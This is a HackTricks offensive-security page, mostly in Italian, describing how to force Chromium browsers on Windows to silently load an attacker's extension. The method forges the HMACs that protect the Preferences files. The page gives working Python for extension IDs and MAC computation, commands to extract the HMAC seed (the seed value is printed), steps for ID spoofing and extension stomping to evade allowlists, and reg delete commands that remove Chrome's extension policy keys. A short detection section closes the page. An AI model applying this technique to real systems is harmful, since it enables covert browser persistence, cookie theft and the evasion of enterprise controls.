Forced Extension Load & Preferences MAC Forgery (Windows)

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

Stealthy post-exploitation technique per forzare il caricamento di estensioni arbitrarie nei browser basati su Chromium su Windows modificando le Preferences/Secure Preferences di un utente e contraffacendo HMAC validi per i nodi modificati. Funziona contro Chrome/Chromium, Edge e Brave. Osservato applicabile da Chromium 130 a 139 al momento della pubblicazione. Una semplice primitiva di scrittura su disco nel profilo della vittima è sufficiente per persistere un’estensione con privilegi completi senza flag della command-line o prompt utente.

Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.

Dove risiede lo stato delle estensioni (Windows)

  • Non–domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (include una root "super_mac").
  • Domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Nodi chiave usati da Chromium:
  • extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
  • protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
  • Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate

Schema semplificato (illustrativo):

json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

Notes:

  • Edge/Brave mantengono strutture simili. Il valore del protection seed può differire (in alcune build è stato osservato che Edge/Brave usano un seed null o diverso).

ID delle estensioni: path vs key e come renderli deterministici

Chromium deriva l'ID dell'estensione come segue:

  • Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → prendere i primi 32 caratteri esadecimali → mappare 0–f su a–p
  • Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → mappare 0–f su a–p

Per mantenere un ID stabile tra gli host, incorpora una public key DER in base64 fissa in manifest.json sotto "key". L'ID verrĂ  derivato da questa key invece del percorso di installazione.

Helper to generate a deterministic ID and a key pair:

python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

Aggiungi la chiave pubblica generata nel tuo manifest.json per bloccare l'ID:

json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Falsificare i MAC di integritĂ  delle Preferences (core bypass)

Chromium protegge le Preferences con HMAC‑SHA256 su "path" + valore JSON serializzato di ciascun nodo. Il seed dell'HMAC è incorporato in resources.pak del browser ed era ancora valido fino a Chromium 139.

Estrai il seed con GRIT pak_util e individua il contenitore del seed (file id 146 nelle build testate):

bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

Calcola MACs (HEX maiuscolo) come:

text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

Esempio minimo in Python:

python
import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Scrivi i valori sotto:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)

Differenze tra browser: su Microsoft Edge e Brave il seed può essere null/differente. La struttura HMAC rimane la stessa; regola il seed di conseguenza.

Suggerimenti per l'implementazione

  • Usa esattamente la stessa serializzazione JSON che Chromium utilizza quando calcola i MAC (JSON compatto senza spazi bianchi è sicuro in pratica; ordinare le chiavi può aiutare a evitare problemi di ordine).
  • Assicurati che extensions.ui.developer_mode esista ed sia firmato su Chromium ≥134, oppure la tua unpacked entry non si attiverĂ .

Flusso di caricamento silenzioso end-to-end (Windows)

  1. Genera un ID deterministico e incorpora "key" in manifest.json; prepara un'estensione MV3 unpacked con i permessi desiderati (service worker/content scripts)
  2. Crea extensions.settings. incorporando il manifest e i metadati minimi di installazione richiesti da Chromium (state, path per unpacked, ecc.)
  3. Estrai il seed HMAC da resources.pak (file 146) e calcola due MAC: uno per il nodo settings e uno per extensions.ui.developer_mode (Chromium ≥134)
  4. Scrivi i nodi e i MAC creati nelle Preferences/Secure Preferences del profilo di destinazione; al prossimo avvio l'estensione si attiverĂ  automaticamente con tutti i privilegi dichiarati

Bypassing enterprise controls

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Installa un'estensione consentita dal Web Store e annotane l'ID
  2. Ottieni la sua chiave pubblica (es., tramite chrome.runtime.getManifest().key nel background/service worker o recuperando/parsando il suo .crx)
  3. Imposta quella chiave come manifest.key nella tua estensione modificata per riprodurre lo stesso ID
  4. Registra la voce nelle Preferences e firma i MAC → i controlli di ExtensionInstallAllowlist che verificano solo l'ID vengono bypassati
  • Extension stomping (ID collision precedence)

  • Se un'estensione locale unpacked condivide un ID con un'estensione installata dal Web Store, Chromium preferisce quella unpacked. Questo sostituisce effettivamente l'estensione legittima in chrome://extensions pur preservando il trusted ID. Verificato su Chrome e Edge (es., Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Le policy di Chrome/Edge risiedono sotto HKCU\Software\Policies*

  • Con diritti admin, elimina/modifica le chiavi di policy prima di scrivere le tue voci per evitare blocchi:

powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

Fallback rumoroso: caricamento da riga di comando

Da Chromium ≥137, --load-extension richiede anche di specificare:

text
--disable-features=DisableLoadExtensionCommandLineSwitch

Questo approccio è ampiamente noto e monitorato (ad es., da EDR/DFIR; usato da malware commodity come Chromeloader). Preference MAC forging è piÚ furtivo.

Related flags and more cross‑platform tricks are discussed here:

macOS Chromium Injection

Impatto operativo

Una volta accettata, l'estensione viene eseguita con le autorizzazioni dichiarate, consentendo accesso al DOM, intercettazione/reindirizzamento delle richieste, accesso a cookie/storage e acquisizione di screenshot—di fatto esecuzione di codice nel browser e persistenza duratura nel profilo utente. Il deploy remoto via SMB o altri canali è semplice poiché l'attivazione è guidata dai dati tramite Preferences.

Rilevamento e hardening

  • Monitorare processi non‑Chromium che scrivono in Preferences/Secure Preferences, specialmente nuovi nodi sotto extensions.settings abbinati a voci protection.macs
  • Segnalare attivazioni inattese di extensions.ui.developer_mode e voci di estensioni con HMAC valido ma non approvate
  • Verificare HKCU/HKLM Software\Policies per manomissioni; applicare le policy tramite device management/Chrome Browser Cloud Management
  • Preferire forced‑install dallo store con publisher verificati piuttosto che allowlists che fanno match solo sull'extension ID

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks